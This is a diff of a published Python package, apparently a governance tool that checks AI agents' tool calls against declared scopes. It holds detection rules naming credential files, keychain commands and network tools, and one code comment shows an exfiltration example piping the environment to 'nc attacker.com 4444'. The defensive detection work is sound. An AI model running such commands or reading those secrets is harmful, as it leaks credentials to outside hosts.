toolgovern-cli 0.1.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- toolgovern/__init__.py +222 -0
- toolgovern/approval/__init__.py +25 -0
- toolgovern/approval/pending_registry.py +379 -0
- toolgovern/classifier/__init__.py +19 -0
- toolgovern/classifier/credential_access.py +180 -0
- toolgovern/classifier/cross_agent_inheritance.py +216 -0
- toolgovern/classifier/filesystem_scope.py +202 -0
- toolgovern/classifier/index.py +80 -0
- toolgovern/classifier/information_flow.py +154 -0
- toolgovern/classifier/network_egress.py +289 -0
- toolgovern/classifier/shell_risk.py +357 -0
- toolgovern/classifier/util.py +259 -0
- toolgovern/cli.py +298 -0
- toolgovern/mcp_trust/__init__.py +342 -0
- toolgovern/middleware/__init__.py +30 -0
- toolgovern/middleware/idempotency_cache.py +117 -0
- toolgovern/middleware/on_tool_call.py +538 -0
- toolgovern/policy/__init__.py +10 -0
- toolgovern/policy/load_policy.py +41 -0
- toolgovern/policy/validate_policy.py +106 -0
- toolgovern/py.typed +0 -0
- toolgovern/scoping/__init__.py +13 -0
- toolgovern/scoping/inheritance_enforcer.py +145 -0
- toolgovern/scoping/scope_declaration.py +84 -0
- toolgovern/shared/__init__.py +0 -0
- toolgovern/shared/paths.py +266 -0
- toolgovern/trace/__init__.py +33 -0
- toolgovern/trace/canonical_json.py +27 -0
- toolgovern/trace/trace_reader.py +206 -0
- toolgovern/trace/trace_writer.py +247 -0
- toolgovern/types.py +247 -0
- toolgovern_cli-0.1.1.dist-info/METADATA +337 -0
- toolgovern_cli-0.1.1.dist-info/RECORD +36 -0
- toolgovern_cli-0.1.1.dist-info/WHEEL +4 -0
- toolgovern_cli-0.1.1.dist-info/entry_points.txt +2 -0
- toolgovern_cli-0.1.1.dist-info/licenses/LICENSE +202 -0
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
"""TG04 -- Credential/Secret Access.
|
|
2
|
+
|
|
3
|
+
Ported from ``packages/toolgovern/src/classifier/credential-access.ts``.
|
|
4
|
+
|
|
5
|
+
Fires when a call reads ``.env``, ``.ssh``, ``.aws/credentials``, OS keychain entries, or dumps
|
|
6
|
+
the bulk process environment, and that resource is not present in the caller's declared
|
|
7
|
+
credential scope.
|
|
8
|
+
"""
|
|
9
|
+
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
import re
|
|
13
|
+
from dataclasses import dataclass
|
|
14
|
+
from typing import Callable, List, Optional, Tuple
|
|
15
|
+
|
|
16
|
+
from ..types import RuleContext, RuleMatch
|
|
17
|
+
from .util import (
|
|
18
|
+
extract_command,
|
|
19
|
+
extract_credential_name,
|
|
20
|
+
extract_path,
|
|
21
|
+
is_credential_granted,
|
|
22
|
+
normalize_for_match,
|
|
23
|
+
stringify_args,
|
|
24
|
+
)
|
|
25
|
+
|
|
26
|
+
_CATEGORY = "TG04"
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
@dataclass
|
|
30
|
+
class _Rule:
|
|
31
|
+
id: str
|
|
32
|
+
category: str
|
|
33
|
+
description: str
|
|
34
|
+
_evaluate: Callable[[RuleContext], Optional[RuleMatch]]
|
|
35
|
+
|
|
36
|
+
def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
|
|
37
|
+
return self._evaluate(ctx)
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
|
|
41
|
+
return RuleMatch(
|
|
42
|
+
rule_id=rule_id,
|
|
43
|
+
category=_CATEGORY, # type: ignore[arg-type]
|
|
44
|
+
decision=decision, # type: ignore[arg-type]
|
|
45
|
+
reason=reason,
|
|
46
|
+
matched_argument=matched_argument,
|
|
47
|
+
)
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
def _path_or_command_text(ctx: RuleContext) -> Tuple[Optional[str], str]:
|
|
51
|
+
"""``text`` is normalized before pattern matching, so the same quote-splitting / $IFS /
|
|
52
|
+
invisible-Unicode tricks that could dodge TG01's shell patterns cannot dodge these
|
|
53
|
+
credential-path patterns either. ``path``, when present, is left as-is: it feeds a
|
|
54
|
+
declared-scope allowlist membership check, not a regex match."""
|
|
55
|
+
path = extract_path(ctx.args)
|
|
56
|
+
text = normalize_for_match(path or extract_command(ctx.args) or stringify_args(ctx.args)).lower()
|
|
57
|
+
return path, text
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
_DOTENV_PATTERN = re.compile(r"(^|[/\s])\.env(\.\w+)?\b")
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def _dotenv_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
64
|
+
path, text = _path_or_command_text(ctx)
|
|
65
|
+
found = _DOTENV_PATTERN.search(text)
|
|
66
|
+
if not found:
|
|
67
|
+
return None
|
|
68
|
+
identifier = path or found.group(0).strip()
|
|
69
|
+
if is_credential_granted(identifier, ctx.scope.credentials):
|
|
70
|
+
return None
|
|
71
|
+
return _match(
|
|
72
|
+
"TG04-dotenv-access",
|
|
73
|
+
"deny",
|
|
74
|
+
f'Access to ".env" file "{identifier}" not in declared credential scope.',
|
|
75
|
+
identifier,
|
|
76
|
+
)
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
_SSH_KEY_PATTERN = re.compile(r"\.ssh/(id_\w+|config|authorized_keys)?")
|
|
80
|
+
|
|
81
|
+
|
|
82
|
+
def _ssh_key_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
83
|
+
path, text = _path_or_command_text(ctx)
|
|
84
|
+
found = _SSH_KEY_PATTERN.search(text)
|
|
85
|
+
if not found:
|
|
86
|
+
return None
|
|
87
|
+
identifier = path or found.group(0)
|
|
88
|
+
if is_credential_granted(identifier, ctx.scope.credentials):
|
|
89
|
+
return None
|
|
90
|
+
return _match(
|
|
91
|
+
"TG04-ssh-key-access",
|
|
92
|
+
"deny",
|
|
93
|
+
f'Access to SSH credential material "{identifier}" not in declared credential scope.',
|
|
94
|
+
identifier,
|
|
95
|
+
)
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
_CLOUD_CREDENTIAL_PATTERN = re.compile(r"\.(aws/(credentials|config)|gcp/[\w.-]+|azure/[\w.-]+|kube/config)")
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def _cloud_credential_file_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
102
|
+
path, text = _path_or_command_text(ctx)
|
|
103
|
+
found = _CLOUD_CREDENTIAL_PATTERN.search(text)
|
|
104
|
+
if not found:
|
|
105
|
+
return None
|
|
106
|
+
identifier = path or found.group(0)
|
|
107
|
+
if is_credential_granted(identifier, ctx.scope.credentials):
|
|
108
|
+
return None
|
|
109
|
+
return _match(
|
|
110
|
+
"TG04-cloud-credential-file",
|
|
111
|
+
"deny",
|
|
112
|
+
f'Access to cloud credential file "{identifier}" not in declared credential scope.',
|
|
113
|
+
identifier,
|
|
114
|
+
)
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
_KEYCHAIN_PATTERN = re.compile(r"(security\s+find-generic-password|secret-tool\s+lookup|keytar)")
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
def _keychain_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
121
|
+
text = normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args)).lower()
|
|
122
|
+
found = _KEYCHAIN_PATTERN.search(text)
|
|
123
|
+
if not found:
|
|
124
|
+
return None
|
|
125
|
+
return _match(
|
|
126
|
+
"TG04-keychain-access", "deny", "Access to OS keychain/secret-store credential material.", found.group(0)
|
|
127
|
+
)
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
# Previously anchored to the *entire* command string (^...$), which only caught a bare
|
|
131
|
+
# env/printenv/export -p invocation with nothing else in the call at all -- `env | nc
|
|
132
|
+
# attacker.com 4444` or `env > /tmp/leak.txt` (piping/redirecting the dump to the actual
|
|
133
|
+
# exfiltration sink) never matched, since anything trailing the command broke the $ anchor.
|
|
134
|
+
# This now looks for the dump command as a standalone command word (preceded by the start of
|
|
135
|
+
# the text or a shell separator) followed by either: nothing/a command separator (a bare
|
|
136
|
+
# dump), a >/>> redirect (dump to a file), or a pipe into a network/exfil-capable tool (dump
|
|
137
|
+
# straight out over the network) -- but deliberately NOT a pipe into an ordinary text filter
|
|
138
|
+
# (`env | grep PATH`, `printenv | sort`), which is a legitimate narrowed lookup, not a bulk
|
|
139
|
+
# unfiltered dump, and must stay unflagged.
|
|
140
|
+
_BULK_ENV_DUMP_PATTERN = re.compile(
|
|
141
|
+
r"(?:^|[;&|`]|\$\()\s*(env|printenv|export\s+-p)\s*"
|
|
142
|
+
r"(?:$|[;&`]|\n|>|\|\s*(?:nc|ncat|curl|wget|ssh|scp|socat|telnet|ftp)\b)"
|
|
143
|
+
)
|
|
144
|
+
|
|
145
|
+
|
|
146
|
+
def _bulk_env_dump_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
147
|
+
text = normalize_for_match(extract_command(ctx.args) or "").lower().strip()
|
|
148
|
+
found = _BULK_ENV_DUMP_PATTERN.search(text)
|
|
149
|
+
if not found:
|
|
150
|
+
return None
|
|
151
|
+
return _match(
|
|
152
|
+
"TG04-bulk-env-dump",
|
|
153
|
+
"require-approval",
|
|
154
|
+
"Bulk, unfiltered process-environment dump.",
|
|
155
|
+
found.group(1) or found.group(0),
|
|
156
|
+
)
|
|
157
|
+
|
|
158
|
+
|
|
159
|
+
def _credential_name_not_in_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
160
|
+
name = extract_credential_name(ctx.args)
|
|
161
|
+
if not name:
|
|
162
|
+
return None
|
|
163
|
+
if is_credential_granted(name, ctx.scope.credentials):
|
|
164
|
+
return None
|
|
165
|
+
return _match(
|
|
166
|
+
"TG04-credential-name-not-in-scope",
|
|
167
|
+
"deny",
|
|
168
|
+
f'Credential "{name}" is not in the declared credential scope.',
|
|
169
|
+
name,
|
|
170
|
+
)
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
credential_access_rules: List[_Rule] = [
|
|
174
|
+
_Rule("TG04-dotenv-access", _CATEGORY, "Access to a .env-style file outside the declared credential scope.", _dotenv_access_evaluate),
|
|
175
|
+
_Rule("TG04-ssh-key-access", _CATEGORY, "Access to a private SSH key or the .ssh directory.", _ssh_key_access_evaluate),
|
|
176
|
+
_Rule("TG04-cloud-credential-file", _CATEGORY, "Access to a cloud provider credential/config file.", _cloud_credential_file_evaluate),
|
|
177
|
+
_Rule("TG04-keychain-access", _CATEGORY, "Access to an OS-level keychain/secret store.", _keychain_access_evaluate),
|
|
178
|
+
_Rule("TG04-bulk-env-dump", _CATEGORY, "Unfiltered dump of the full process environment.", _bulk_env_dump_evaluate),
|
|
179
|
+
_Rule("TG04-credential-name-not-in-scope", _CATEGORY, "An explicitly named credential/secret argument is not in the declared scope.", _credential_name_not_in_scope_evaluate),
|
|
180
|
+
]
|
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
"""TG05 -- Cross-Agent Privilege Inheritance.
|
|
2
|
+
|
|
3
|
+
Ported from ``packages/toolgovern/src/classifier/cross-agent-inheritance.ts``.
|
|
4
|
+
|
|
5
|
+
A sub-agent's own declared scope is not what governs it -- what its coordinator actually granted
|
|
6
|
+
at spawn time is. These rules compare the call's target resource against the ``ScopeRegistry``
|
|
7
|
+
record for the calling agent: ``requested_scope`` (what the sub-agent itself declares) versus
|
|
8
|
+
``granted_scope`` (what the coordinator's own scope actually allowed after default-deny
|
|
9
|
+
inheritance). A call that would be permitted under ``requested_scope`` but falls outside
|
|
10
|
+
``granted_scope`` is a privilege-inheritance violation, even if it looks fine in isolation.
|
|
11
|
+
"""
|
|
12
|
+
|
|
13
|
+
from __future__ import annotations
|
|
14
|
+
|
|
15
|
+
from dataclasses import dataclass
|
|
16
|
+
from typing import Callable, List, Optional
|
|
17
|
+
|
|
18
|
+
from ..shared.paths import credential_matches_granted, host_matches_allowed, is_path_within
|
|
19
|
+
from ..scoping.inheritance_enforcer import has_zero_capability
|
|
20
|
+
from ..types import RuleContext, RuleMatch
|
|
21
|
+
from .util import extract_candidate_host, extract_credential_identifier, extract_path
|
|
22
|
+
|
|
23
|
+
_CATEGORY = "TG05"
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
@dataclass
|
|
27
|
+
class _Rule:
|
|
28
|
+
id: str
|
|
29
|
+
category: str
|
|
30
|
+
description: str
|
|
31
|
+
_evaluate: Callable[[RuleContext], Optional[RuleMatch]]
|
|
32
|
+
|
|
33
|
+
def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
|
|
34
|
+
return self._evaluate(ctx)
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
|
|
38
|
+
return RuleMatch(
|
|
39
|
+
rule_id=rule_id,
|
|
40
|
+
category=_CATEGORY, # type: ignore[arg-type]
|
|
41
|
+
decision=decision, # type: ignore[arg-type]
|
|
42
|
+
reason=reason,
|
|
43
|
+
matched_argument=matched_argument,
|
|
44
|
+
)
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def _is_network_covered(host: str, network) -> bool:
|
|
48
|
+
if network is True:
|
|
49
|
+
return True
|
|
50
|
+
if network is False:
|
|
51
|
+
return False
|
|
52
|
+
return any(host_matches_allowed(host, allowed) for allowed in network)
|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
def _unregistered_sub_agent_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
56
|
+
if not ctx.coordinator_id:
|
|
57
|
+
return None
|
|
58
|
+
if not ctx.scope_registry:
|
|
59
|
+
return None
|
|
60
|
+
record = ctx.scope_registry.get_record(ctx.agent_id)
|
|
61
|
+
if record:
|
|
62
|
+
return None
|
|
63
|
+
return _match(
|
|
64
|
+
"TG05-unregistered-sub-agent",
|
|
65
|
+
"deny",
|
|
66
|
+
f'Agent "{ctx.agent_id}" declares coordinator "{ctx.coordinator_id}" but has no registered scope grant.',
|
|
67
|
+
ctx.agent_id,
|
|
68
|
+
)
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
def _zero_capability_sub_agent_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
72
|
+
if not ctx.coordinator_id:
|
|
73
|
+
return None
|
|
74
|
+
if not ctx.scope_registry:
|
|
75
|
+
return None
|
|
76
|
+
record = ctx.scope_registry.get_record(ctx.agent_id)
|
|
77
|
+
if not record or not record.coordinator_id:
|
|
78
|
+
return None
|
|
79
|
+
if not has_zero_capability(record.granted_scope):
|
|
80
|
+
return None
|
|
81
|
+
return _match(
|
|
82
|
+
"TG05-zero-capability-sub-agent",
|
|
83
|
+
"deny",
|
|
84
|
+
f'Agent "{ctx.agent_id}" was granted zero tool capability by its coordinator "{record.coordinator_id}"; all tool calls are denied.',
|
|
85
|
+
ctx.agent_id,
|
|
86
|
+
)
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
def _network_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
90
|
+
record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
|
|
91
|
+
if not record or not record.requested_scope:
|
|
92
|
+
return None
|
|
93
|
+
host = extract_candidate_host(ctx.args)
|
|
94
|
+
if not host:
|
|
95
|
+
return None
|
|
96
|
+
requested_covers = _is_network_covered(host, record.requested_scope.network)
|
|
97
|
+
granted_covers = _is_network_covered(host, record.granted_scope.network)
|
|
98
|
+
if not requested_covers or granted_covers:
|
|
99
|
+
return None
|
|
100
|
+
return _match(
|
|
101
|
+
"TG05-network-exceeds-grant",
|
|
102
|
+
"deny",
|
|
103
|
+
f'Host "{host}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
|
|
104
|
+
host,
|
|
105
|
+
)
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
def _filesystem_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
109
|
+
record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
|
|
110
|
+
if not record or not record.requested_scope:
|
|
111
|
+
return None
|
|
112
|
+
path = extract_path(ctx.args)
|
|
113
|
+
if not path:
|
|
114
|
+
return None
|
|
115
|
+
requested_covers = any(is_path_within(path, prefix) for prefix in record.requested_scope.filesystem)
|
|
116
|
+
granted_covers = any(is_path_within(path, prefix) for prefix in record.granted_scope.filesystem)
|
|
117
|
+
if not requested_covers or granted_covers:
|
|
118
|
+
return None
|
|
119
|
+
return _match(
|
|
120
|
+
"TG05-filesystem-exceeds-grant",
|
|
121
|
+
"deny",
|
|
122
|
+
f'Path "{path}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
|
|
123
|
+
path,
|
|
124
|
+
)
|
|
125
|
+
|
|
126
|
+
|
|
127
|
+
def _credential_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
128
|
+
record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
|
|
129
|
+
if not record or not record.requested_scope:
|
|
130
|
+
return None
|
|
131
|
+
identifier = extract_credential_identifier(ctx.args)
|
|
132
|
+
if not identifier:
|
|
133
|
+
return None
|
|
134
|
+
requested_covers = any(
|
|
135
|
+
credential_matches_granted(identifier, c) for c in record.requested_scope.credentials
|
|
136
|
+
)
|
|
137
|
+
granted_covers = any(credential_matches_granted(identifier, c) for c in record.granted_scope.credentials)
|
|
138
|
+
if not requested_covers or granted_covers:
|
|
139
|
+
return None
|
|
140
|
+
return _match(
|
|
141
|
+
"TG05-credential-exceeds-grant",
|
|
142
|
+
"deny",
|
|
143
|
+
f'Credential "{identifier}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
|
|
144
|
+
identifier,
|
|
145
|
+
)
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
def _coordinator_scope_shrunk_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
149
|
+
record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
|
|
150
|
+
if not record or not record.coordinator_id or not ctx.scope_registry:
|
|
151
|
+
return None
|
|
152
|
+
coordinator_record = ctx.scope_registry.get_record(record.coordinator_id)
|
|
153
|
+
if not coordinator_record:
|
|
154
|
+
return None
|
|
155
|
+
|
|
156
|
+
path = extract_path(ctx.args)
|
|
157
|
+
host = extract_candidate_host(ctx.args)
|
|
158
|
+
identifier = extract_credential_identifier(ctx.args)
|
|
159
|
+
|
|
160
|
+
if path:
|
|
161
|
+
still_granted_by_self = any(is_path_within(path, p) for p in record.granted_scope.filesystem)
|
|
162
|
+
coordinator_still_has_it = any(
|
|
163
|
+
is_path_within(path, p) for p in coordinator_record.granted_scope.filesystem
|
|
164
|
+
)
|
|
165
|
+
if still_granted_by_self and not coordinator_still_has_it:
|
|
166
|
+
return _match(
|
|
167
|
+
"TG05-coordinator-scope-shrunk",
|
|
168
|
+
"deny",
|
|
169
|
+
f'Coordinator "{record.coordinator_id}" no longer covers path "{path}" it previously granted to "{ctx.agent_id}".',
|
|
170
|
+
path,
|
|
171
|
+
)
|
|
172
|
+
if host:
|
|
173
|
+
still_granted_by_self = _is_network_covered(host, record.granted_scope.network)
|
|
174
|
+
coordinator_still_has_it = _is_network_covered(host, coordinator_record.granted_scope.network)
|
|
175
|
+
if still_granted_by_self and not coordinator_still_has_it:
|
|
176
|
+
return _match(
|
|
177
|
+
"TG05-coordinator-scope-shrunk",
|
|
178
|
+
"deny",
|
|
179
|
+
f'Coordinator "{record.coordinator_id}" no longer covers host "{host}" it previously granted to "{ctx.agent_id}".',
|
|
180
|
+
host,
|
|
181
|
+
)
|
|
182
|
+
if identifier:
|
|
183
|
+
still_granted_by_self = any(
|
|
184
|
+
credential_matches_granted(identifier, c) for c in record.granted_scope.credentials
|
|
185
|
+
)
|
|
186
|
+
coordinator_still_has_it = any(
|
|
187
|
+
credential_matches_granted(identifier, c) for c in coordinator_record.granted_scope.credentials
|
|
188
|
+
)
|
|
189
|
+
if still_granted_by_self and not coordinator_still_has_it:
|
|
190
|
+
return _match(
|
|
191
|
+
"TG05-coordinator-scope-shrunk",
|
|
192
|
+
"deny",
|
|
193
|
+
f'Coordinator "{record.coordinator_id}" no longer covers credential "{identifier}" it previously granted to "{ctx.agent_id}".',
|
|
194
|
+
identifier,
|
|
195
|
+
)
|
|
196
|
+
return None
|
|
197
|
+
|
|
198
|
+
|
|
199
|
+
cross_agent_inheritance_rules: List[_Rule] = [
|
|
200
|
+
_Rule("TG05-unregistered-sub-agent", _CATEGORY, "A call arrives from a sub-agent with no verifiable spawn-time grant on record.", _unregistered_sub_agent_evaluate),
|
|
201
|
+
_Rule(
|
|
202
|
+
"TG05-zero-capability-sub-agent",
|
|
203
|
+
_CATEGORY,
|
|
204
|
+
"A sub-agent whose coordinator granted it zero capability at all attempts a tool call. Denied outright.",
|
|
205
|
+
_zero_capability_sub_agent_evaluate,
|
|
206
|
+
),
|
|
207
|
+
_Rule("TG05-network-exceeds-grant", _CATEGORY, "Target host is within the agent's own request but outside what its coordinator granted.", _network_exceeds_grant_evaluate),
|
|
208
|
+
_Rule("TG05-filesystem-exceeds-grant", _CATEGORY, "Target path is within the agent's own request but outside what its coordinator granted.", _filesystem_exceeds_grant_evaluate),
|
|
209
|
+
_Rule("TG05-credential-exceeds-grant", _CATEGORY, "Target credential is within the agent's own request but outside what its coordinator granted.", _credential_exceeds_grant_evaluate),
|
|
210
|
+
_Rule(
|
|
211
|
+
"TG05-coordinator-scope-shrunk",
|
|
212
|
+
_CATEGORY,
|
|
213
|
+
"The coordinator's own current scope no longer covers what it granted this sub-agent at spawn time.",
|
|
214
|
+
_coordinator_scope_shrunk_evaluate,
|
|
215
|
+
),
|
|
216
|
+
]
|
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
"""TG02 -- Filesystem Scope Escalation.
|
|
2
|
+
|
|
3
|
+
Ported from ``packages/toolgovern/src/classifier/filesystem-scope.ts``.
|
|
4
|
+
|
|
5
|
+
Fires when a call attempts a write, delete, or permission change outside the caller's declared
|
|
6
|
+
filesystem scope (``scope.filesystem``, a list of allowed path prefixes), or targets a small set
|
|
7
|
+
of sensitive absolute system directories regardless of scope.
|
|
8
|
+
"""
|
|
9
|
+
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
from dataclasses import dataclass
|
|
13
|
+
from typing import Callable, List, Optional, Sequence
|
|
14
|
+
|
|
15
|
+
from ..types import RuleContext, RuleMatch
|
|
16
|
+
from .util import (
|
|
17
|
+
contains_path_traversal,
|
|
18
|
+
extract_operation,
|
|
19
|
+
extract_path,
|
|
20
|
+
is_credential_granted,
|
|
21
|
+
is_path_within,
|
|
22
|
+
normalize_for_match,
|
|
23
|
+
)
|
|
24
|
+
|
|
25
|
+
_CATEGORY = "TG02"
|
|
26
|
+
|
|
27
|
+
_WRITE_OPS = {"write", "create", "append", "put", "save"}
|
|
28
|
+
_DELETE_OPS = {"delete", "remove", "unlink", "rm", "rmdir"}
|
|
29
|
+
_CHMOD_OPS = {"chmod", "chown", "setpermissions", "set_permissions"}
|
|
30
|
+
_READ_OPS = {"read", "get", "load", "fetch", "cat", "open"}
|
|
31
|
+
_SENSITIVE_SYSTEM_PREFIXES = ["/etc", "/usr", "/bin", "/sbin", "/system", "/private/etc"]
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def _extract_normalized_path(args) -> Optional[str]:
|
|
35
|
+
"""Extracts a call's path argument and runs it through the same obfuscation-normalization
|
|
36
|
+
pass TG01/TG03/TG04 already apply, so a path cannot dodge a scope or sensitive-prefix check
|
|
37
|
+
by smuggling in a formatting character a literal/prefix comparison wouldn't see."""
|
|
38
|
+
raw = extract_path(args)
|
|
39
|
+
return normalize_for_match(raw) if raw else None
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def _is_within_scope(path: str, filesystem: Sequence[str]) -> bool:
|
|
43
|
+
if len(filesystem) == 0:
|
|
44
|
+
return False
|
|
45
|
+
return any(is_path_within(path, prefix) for prefix in filesystem)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
@dataclass
|
|
49
|
+
class _Rule:
|
|
50
|
+
id: str
|
|
51
|
+
category: str
|
|
52
|
+
description: str
|
|
53
|
+
_evaluate: Callable[[RuleContext], Optional[RuleMatch]]
|
|
54
|
+
|
|
55
|
+
def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
|
|
56
|
+
return self._evaluate(ctx)
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
|
|
60
|
+
return RuleMatch(
|
|
61
|
+
rule_id=rule_id,
|
|
62
|
+
category=_CATEGORY, # type: ignore[arg-type]
|
|
63
|
+
decision=decision, # type: ignore[arg-type]
|
|
64
|
+
reason=reason,
|
|
65
|
+
matched_argument=matched_argument,
|
|
66
|
+
)
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
def _write_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
70
|
+
path = _extract_normalized_path(ctx.args)
|
|
71
|
+
if not path:
|
|
72
|
+
return None
|
|
73
|
+
op = extract_operation(ctx.args) or ("write" if "write" in ctx.tool.lower() else "")
|
|
74
|
+
if op not in _WRITE_OPS:
|
|
75
|
+
return None
|
|
76
|
+
if _is_within_scope(path, ctx.scope.filesystem):
|
|
77
|
+
return None
|
|
78
|
+
return _match(
|
|
79
|
+
"TG02-write-outside-scope",
|
|
80
|
+
"require-approval",
|
|
81
|
+
f'Write target "{path}" is outside the declared filesystem scope.',
|
|
82
|
+
path,
|
|
83
|
+
)
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
def _delete_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
87
|
+
path = _extract_normalized_path(ctx.args)
|
|
88
|
+
if not path:
|
|
89
|
+
return None
|
|
90
|
+
op = extract_operation(ctx.args) or ("delete" if "delete" in ctx.tool.lower() else "")
|
|
91
|
+
if op not in _DELETE_OPS:
|
|
92
|
+
return None
|
|
93
|
+
if _is_within_scope(path, ctx.scope.filesystem):
|
|
94
|
+
return None
|
|
95
|
+
return _match(
|
|
96
|
+
"TG02-delete-outside-scope",
|
|
97
|
+
"deny",
|
|
98
|
+
f'Delete target "{path}" is outside the declared filesystem scope.',
|
|
99
|
+
path,
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _chmod_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
104
|
+
path = _extract_normalized_path(ctx.args)
|
|
105
|
+
if not path:
|
|
106
|
+
return None
|
|
107
|
+
op = extract_operation(ctx.args)
|
|
108
|
+
if not op or op not in _CHMOD_OPS:
|
|
109
|
+
return None
|
|
110
|
+
if _is_within_scope(path, ctx.scope.filesystem):
|
|
111
|
+
return None
|
|
112
|
+
return _match(
|
|
113
|
+
"TG02-chmod-outside-scope",
|
|
114
|
+
"deny",
|
|
115
|
+
f'Permission change on "{path}" is outside the declared filesystem scope.',
|
|
116
|
+
path,
|
|
117
|
+
)
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
def _read_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
121
|
+
path = _extract_normalized_path(ctx.args)
|
|
122
|
+
if not path:
|
|
123
|
+
return None
|
|
124
|
+
op = extract_operation(ctx.args) or ("read" if "read" in ctx.tool.lower() else "")
|
|
125
|
+
if op not in _READ_OPS:
|
|
126
|
+
return None
|
|
127
|
+
if _is_within_scope(path, ctx.scope.filesystem):
|
|
128
|
+
return None
|
|
129
|
+
if is_credential_granted(path, ctx.scope.credentials):
|
|
130
|
+
return None
|
|
131
|
+
return _match(
|
|
132
|
+
"TG02-read-outside-scope",
|
|
133
|
+
"require-approval",
|
|
134
|
+
f'Read target "{path}" is outside the declared filesystem scope.',
|
|
135
|
+
path,
|
|
136
|
+
)
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
def _path_traversal_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
140
|
+
path = _extract_normalized_path(ctx.args)
|
|
141
|
+
if not path:
|
|
142
|
+
return None
|
|
143
|
+
if not contains_path_traversal(path):
|
|
144
|
+
return None
|
|
145
|
+
return _match(
|
|
146
|
+
"TG02-path-traversal", "deny", f'Path "{path}" contains traversal segments ("..").', path
|
|
147
|
+
)
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
def _symlink_escape_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
151
|
+
op = extract_operation(ctx.args) or ""
|
|
152
|
+
if "symlink" not in op and "link" not in op:
|
|
153
|
+
return None
|
|
154
|
+
path = _extract_normalized_path(ctx.args)
|
|
155
|
+
if not path:
|
|
156
|
+
return None
|
|
157
|
+
if _is_within_scope(path, ctx.scope.filesystem):
|
|
158
|
+
return None
|
|
159
|
+
return _match(
|
|
160
|
+
"TG02-symlink-escape",
|
|
161
|
+
"deny",
|
|
162
|
+
f'Symlink target "{path}" is outside the declared filesystem scope.',
|
|
163
|
+
path,
|
|
164
|
+
)
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
def _sensitive_system_path_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
168
|
+
path = _extract_normalized_path(ctx.args)
|
|
169
|
+
if not path:
|
|
170
|
+
return None
|
|
171
|
+
op = extract_operation(ctx.args) or ""
|
|
172
|
+
if op not in _WRITE_OPS and op not in _DELETE_OPS and op not in _CHMOD_OPS:
|
|
173
|
+
return None
|
|
174
|
+
